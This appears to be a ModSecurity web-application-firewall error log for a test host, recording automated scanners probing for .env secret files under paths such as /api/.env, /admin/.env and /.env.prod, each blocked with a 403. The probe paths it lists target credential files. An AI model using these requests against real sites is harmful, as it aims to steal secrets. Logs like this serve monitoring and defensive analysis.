[Wed Feb 19 05:51:51.898626 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw-AAAAAM&quot;]
[Wed Feb 19 05:51:51.921678 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw-QAAAAM&quot;]
[Wed Feb 19 05:51:51.922064 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw-QAAAAM&quot;]
[Wed Feb 19 05:51:51.922566 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;Z7VjZwzqEFiMFYV11Byw-QAAAAM&quot;]
[Sat Feb 22 03:25:59.910956 2025] [:error] [pid 1324770] [client 45.148.10.166:38316] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z7k1t010iGF_xgbBjepvXAAAAAI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:25:59.913437 2025] [:error] [pid 1324770] [client 45.148.10.166:38316] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z7k1t010iGF_xgbBjepvXAAAAAI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:25:59.913955 2025] [:error] [pid 1324770] [client 45.148.10.166:38316] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z7k1t010iGF_xgbBjepvXAAAAAI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.074396 2025] [:error] [pid 1324801] [client 45.148.10.166:38318] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z7k1uEIDaHMGZ72cYjodTgAAAAY&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.075415 2025] [:error] [pid 1324801] [client 45.148.10.166:38318] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z7k1uEIDaHMGZ72cYjodTgAAAAY&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.075909 2025] [:error] [pid 1324801] [client 45.148.10.166:38318] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z7k1uEIDaHMGZ72cYjodTgAAAAY&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.461650 2025] [:error] [pid 1324873] [client 45.148.10.166:38330] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z7k1uCnGn57UX6drZcObBQAAAEw&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.462663 2025] [:error] [pid 1324873] [client 45.148.10.166:38330] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z7k1uCnGn57UX6drZcObBQAAAEw&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.463129 2025] [:error] [pid 1324873] [client 45.148.10.166:38330] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z7k1uCnGn57UX6drZcObBQAAAEw&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.594031 2025] [:error] [pid 1324877] [client 45.148.10.166:38334] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z7k1uPEC0wnK7F1RxU-HmQAAAFA&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.595685 2025] [:error] [pid 1324877] [client 45.148.10.166:38334] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z7k1uPEC0wnK7F1RxU-HmQAAAFA&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.596280 2025] [:error] [pid 1324877] [client 45.148.10.166:38334] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z7k1uPEC0wnK7F1RxU-HmQAAAFA&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.705098 2025] [:error] [pid 1324875] [client 45.148.10.166:38338] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z7k1uIXfBZocK-8lZnXdmQAAAE4&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.705658 2025] [:error] [pid 1324875] [client 45.148.10.166:38338] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z7k1uIXfBZocK-8lZnXdmQAAAE4&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.705954 2025] [:error] [pid 1324875] [client 45.148.10.166:38338] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z7k1uIXfBZocK-8lZnXdmQAAAE4&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.859802 2025] [:error] [pid 1324876] [client 45.148.10.166:38340] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z7k1uC0lx6EHu5d66nqo0wAAAE8&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.860191 2025] [:error] [pid 1324876] [client 45.148.10.166:38340] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z7k1uC0lx6EHu5d66nqo0wAAAE8&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.860390 2025] [:error] [pid 1324876] [client 45.148.10.166:38340] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z7k1uC0lx6EHu5d66nqo0wAAAE8&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.986044 2025] [:error] [pid 1324878] [client 45.148.10.166:38344] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z7k1uJCEpSQB_HZ02bvGowAAAFE&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.987039 2025] [:error] [pid 1324878] [client 45.148.10.166:38344] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z7k1uJCEpSQB_HZ02bvGowAAAFE&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:00.987482 2025] [:error] [pid 1324878] [client 45.148.10.166:38344] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z7k1uJCEpSQB_HZ02bvGowAAAFE&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.087080 2025] [:error] [pid 1324879] [client 45.148.10.166:38350] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z7k1uXzwg1sUFvYIvKHOoQAAAFI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.088041 2025] [:error] [pid 1324879] [client 45.148.10.166:38350] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z7k1uXzwg1sUFvYIvKHOoQAAAFI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.088555 2025] [:error] [pid 1324879] [client 45.148.10.166:38350] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z7k1uXzwg1sUFvYIvKHOoQAAAFI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.203468 2025] [:error] [pid 1324770] [client 45.148.10.166:38352] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z7k1uU10iGF_xgbBjepvXQAAAAI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.203834 2025] [:error] [pid 1324770] [client 45.148.10.166:38352] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z7k1uU10iGF_xgbBjepvXQAAAAI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.204011 2025] [:error] [pid 1324770] [client 45.148.10.166:38352] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z7k1uU10iGF_xgbBjepvXQAAAAI&quot;], referer: https://www.google.com/
[Sat Feb 22 03:26:01.569713 2025] [:error] [pid 1324874] [client 45.148.10.166:38386] [client 45.148.10.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;Z7k1uftky72f57E6I5D02AAAAE0&quot;], referer: https://www.google.com/
